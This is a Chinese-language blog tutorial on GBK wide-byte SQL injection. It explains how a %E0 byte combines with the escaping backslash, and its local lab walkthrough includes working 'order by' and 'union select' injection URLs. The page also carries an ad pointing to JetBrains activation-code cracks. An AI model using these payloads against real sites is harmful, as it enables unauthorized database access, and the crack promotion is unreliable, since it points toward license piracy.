宽字节注入讲解

宽字节注入讲解我讨厌现在的自己,一边压抑着自己的情绪,一边装作没事的样子,一到深夜就彻底崩溃了,天亮后还要微笑面对生活。。。—-网易云热评一、原理1、单字节字符集:所有的字符都使用一个字节来表示,比如ASCII编码(0-127)2、多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字二、addslashes()函数1、addslashes(..

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

我讨厌现在的自己,一边压抑着自己的情绪,一边装作没事的样子,一到深夜就彻底崩溃了,天亮后还要微笑面对生活。。。

—-  网易云热评

一、原理

1、单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)

2、多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。

3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字

 

二、addslashes()函数

1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

2、预定义字符是:单引号(’),双引号(”),反斜杠(\),NULL

3、实例

<?php

$ss=addslashes('aiyou"bu"cuoo');

echo($ss);

?>

运行结果:

aiyou\"bu\"cuoo

 

三、数据库创建

1、创建数据库名为jay

create database jay;

2、选择创建好的数据库

use jay;

3、创建表名为zhuanji,字段包括,id,neme,year,zhudage

create table zhuanji(id int primary key auto_increment,name varchar(255) not null,year int  not null,zhudage varchar(255) not null);

4、插入数据

insert into zhuanji (name,year,zhudage) values (“七里香”,”2004″,”七里香/外婆/我的地盘”);

insert into zhuanji (name,year,zhudage) values (“十一月的萧邦”,”2005″,”夜曲/发如雪/珊瑚海”);

insert into zhuanji (name,year,zhudage) values (“我很忙”,”2007″,”青花瓷/我不配/彩虹”);

5、中文编码问题,修改my.ini文件

[mysql]

default-character-set=gbk

[mysqld]

character-set-server=gbk

 

四、宽字节注入

1、访问该网址:http://192.168.0.104/aiyou/1.php?id=2,返回正常信息

宽字节注入讲解

2、判断是否存在注入,在id=2后面加入’,看是否报错,发现单引号被转义了

宽字节注入讲解

3、替换反斜杠,反斜杠的GBK编码为%5C,根据GBK编码在前面加上%DE,%DF,%E0。。。都可以组成一个汉字,从而把反斜杠给‘吃’了

宽字节注入讲解

4、成功替换了反斜杠

宽字节注入讲解

5、获取数据库列数,order by 4返回正常

192.168.0.104/aiyou/1.php?id=2%E0′ order by 4 –+

宽字节注入讲解

 

6、获取数据库名称及版本号

192.168.0.104/aiyou/1.php?id=-2%E0′ union select 1,database(),version(),4 –+

宽字节注入讲解

 

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

宽字节注入讲解

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/181922.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 如何绘制符合规范的流程图表_流程图画法规范

    如何绘制符合规范的流程图表_流程图画法规范流程图可以简单地描述一个过程,是对过程、算法、流程的一种图像表示,在技术设计、交流及商业简报等领域有广泛的应用。流程图可分为:数据流程图和作业流程图。1、程序流程图的作用程序流程图的作用程序流程图

    2022年8月5日
    10
  • Mac 读写NTFS硬盘

    Mac 读写NTFS硬盘查看磁盘DeviceNode:【diskutilinfo磁盘路径】diskutilinfo/Volumes/CPBA_X64FRE_ZH-CN_DV5通过DeviceNode卸载磁盘:【sudoumount/dev/disk2s1】…

    2022年6月18日
    24
  • Unity3d快速入门[通俗易懂]

    Unity3d快速入门[通俗易懂]https://www.zhihu.com/question/313621072Unity3d如何快速入门前言进入一个领域,最直接有效的方法就是,寻找相关综述性文章,首先你需要对你入门的领域有个概括性的了解,这些包括:1、主流的学习社区与网站。2、该领域的知名大牛与热心分享的从业者。3、如何有效的激励自己持续学习—主要是动手实践因此,总结一下Unity相关学习资源,可能有些不足,欢迎大家指正修改,一起成长!授人与鱼,不如授人与渔!一、Unity官方学习资源1、【Unity官.

    2022年8月10日
    7
  • datagrip2021 最新激活码破解方法

    datagrip2021 最新激活码破解方法,https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月15日
    263
  • 连“霍金”都想学习的“人工智能”—【自己动手写神经网络】小白入门连载開始了(1)

    连“霍金”都想学习的“人工智能”—【自己动手写神经网络】小白入门连载開始了(1)

    2022年2月5日
    41
  • getElementById怎么调用

    getElementById怎么调用getElementById怎么调用浏览次数:1414次悬赏分:0|解决时间:2011-4-2818:27|提问者:匿名最佳答案首先都有一个Document对象然后你就可以借这个方法来引用网页文件中各个标签的属性了,当然这个被你引用的标签必须具有ID属性;比如,上面那个标签img就具有ID属性,那么我想获取他的图片地址,可以这么用Document.get

    2022年7月15日
    25

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号